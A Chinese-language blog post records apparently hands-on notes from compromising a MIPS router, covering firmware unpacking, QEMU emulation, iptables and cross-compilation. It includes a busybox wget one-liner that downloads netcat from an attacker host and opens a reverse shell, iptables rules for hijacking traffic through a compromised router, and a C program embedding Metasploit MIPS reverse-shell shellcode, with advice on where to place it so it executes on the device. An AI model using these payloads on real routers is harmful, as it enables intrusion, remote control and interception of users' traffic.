qemu、iptables和交叉编译

上周huiming和hyperchem大佬带我搞了一发mips的路由器,遇到了一些坑,在这儿做些记录方便以后查看。

固件解包

用binwalk分离文件然后用对应的文件系统解包工具解开。

osx上可以使用 https://github.com/cinquemb/firmware-mod-kit-osx

qemu 模拟执行

安装qemu-user-static即可在x86的机器上执行mips的二进制文件。
加载库的路径是绝对路径,要么需要chroot来执行,要么需要把库拷到对应路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
salt@salt:cp $(which qemu-mipsel) .
salt@salt:~/rootfs$ sudo chroot . ./qemu-mips-static ./bin/busybox wget
BusyBox vv1.9.1 (2016-09-01 16:26:57 CST) multi-call binary
Usage: wget [OPTION]... HOST
wget download and upload a file via HTTP
Options:
-g Download
-s Upload
-v Verbose
-u Username to be used
-p Password to be used
-l Local file path
-r Remote file path
-P Port to be used, optional
-B Bind local ip, optional
-A Remote resolved ip, optional
-b Transfer start position
-e Transfer length
-m Max transfer size
-c Compress downloaded file

可以看到,在这个busybox里的wget和在普通Linux下的wget是不同的。
反弹shell /bin/busybox wget -g 192.168.2.2 -l /tmp/nc -r /netcat; chmod 777 /tmp/nc;/tmp/nc 192.168.2.2 9988 -e /bin/sh

参考资料

iptables

以下大部分内容引用自 https://www.zybuluo.com/yiltoncent/note/82203

在路由器命令执行的时候可以考虑用iptables命令劫持经过此路由器的流量。

iptables的结构为iptables->Tables->Chains->Rules
iptables具有Filter、NAT、Mangle、Raw四种内建表,每种表里有不同的链。如果不指定-t选项,默认就是filter表。

filter表

Filter表示iptables的默认表,它具有三种内建链:

INPUT链 - 处理来自外部的数据。
OUTPUT链 - 处理向外发送的数据。
FORWARD链 - 将数据转发到本机的其他网卡设备上。

filter表用来过滤数据包,我们可以在任何时候匹配包并过滤它们。我们就是在这里根据包的内容对包做DROP或者ACCEPT的。当然,我们也可以预先在其他地方做些过滤,但是这个表才是设计用来过滤的。几乎所有的target都可以在这儿使用。

nat表

nat表有三种内建链:

  • PREROUTING链 - 处理刚到达本机并在路由转发前的数据包。它会转换数据包中的目标IP地址,通常用于DNAT。
  • POSTROUTING链 - 处理即将离开本机的数据包。它会转换数据包中的源IP地址,通常用于SNAT。
  • OUTPUT链 - 处理本机产生的数据包。

nat表中的操作有

  • DNAT操作主要用在这样一种情况,你有一个合法的IP地址,要把对防火墙的访问重定向到其他的机子上。也就是说,我们改变的是数据包的目标地址,以使包能重路由到某台主机。
  • SNAT改变包的源地址,这极大程度上可以隐藏你的本地网络。一个很好的例子是我们知道防火墙的外部地址,但必须用这个地址替换本地网络地址。如果使用类似192.168.0.0/24这样的地址,是不会从Internet得到任何回应的。
  • MASQUERADE的作用如其名字一样,只是计算机的符合稍微多一点。因为对每个匹配的包,MASQUERADE都要查找可用的IP地址,而不是像SNAT用的IP地址是配置好的。当然,这也有好好处,就是我们可以通过PPP、PPPOE\SLIP等拨号得到的地址,这些地址可能是由ISP的DHCO随机分配的。

mangle表

mangle表用于指定如何处理数据包。它能改变TCP头中的QoS位。mangle表具有5个内建链。

  • PREROUTING
  • OUTPUT
  • FORWARD
  • INPUT
  • POSTROUTING

mangle表中的操作有

  • TOS操作用来设置或改变数据包的服务类型域。这常用来设置网络上的数据包如何被路由等策略。它在Internet上还不能使用,而且很多路由器不会注意到这个域值。
  • TTL操作用来改变数据包的生存时间域,我们可以让所有数据吧只有一个特殊的TTL。可以欺骗一些ISP。
  • MARK用来给包设置特殊的标记。它并不改变包的内容,只是在内核中对相应的包加入标记。

常用操作
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 80 把8080端口的流量重定向到路由器的80端口
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 1.1.1.1 把80端口的流量重定向到外网ip1.1.1.1
iptables -t nat -F PREROUTING 清除nat表PREROUTING链的内容

参考资料

交叉编译

在路由器能命令执行后,考虑下载并执行自己的payload。首先需要判断cpu的类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
salt@salt:~/rootfs/bin$ readelf -h busybox
ELF Header:
Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, big endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x403f80
Start of program headers: 52 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x70001007, noreorder, pic, cpic, o32, mips32r2
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 0 (bytes)
Number of section headers: 0
Section header string table index: 0

通过readelf可以看出,这个elf对应运行的cpu是32位大端mips架构。因此需要编译的目标架构也如此。

uclibc

https://uclibc.org/ 有现成的交叉编译工具以及启动qemu的脚本。

可以下载已经编译好的交叉编译工具,也可以直接启动一个qemu虚拟机。

buildroot

手动搭建一套交叉编译的环境。

1
2
3
4
sudo apt-get install build-essential bc gettext texinfo patch libncurses5-dev
git clone https://github.com/buildroot/buildroot
make clean
make menuconfig

选择对应的cpu架构和toolchain里的kernel headers的版本,make,在buildroot/output/host/usr/bin目录下找到生成的交叉编译工具。

参考资料

docker 交叉编译环境

https://github.com/dockcross/dockcross

编译shellcode

用metasploit生成反弹shell的shellcode,放在c里编译。

1
2
3
4
5
6
7
#include <stdlib.h>
unsigned char shellcode[] = "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\x35\xce\x11\x5c\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\x02\x02\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c";
int main(){
( (void (*)(void))shellcode )();
}

之前编译的时候把shellcode放在了栈上,由于栈的保护机制默认是不能执行的。应该把shellcode放在data段。qemu模拟执行的时候没检查栈不可执行问题,导致模拟执行成功,实际执行失败。

或者直接用别人编译好的mips二进制文件

https://github.com/darkerego/mips-binaries/

分享到 评论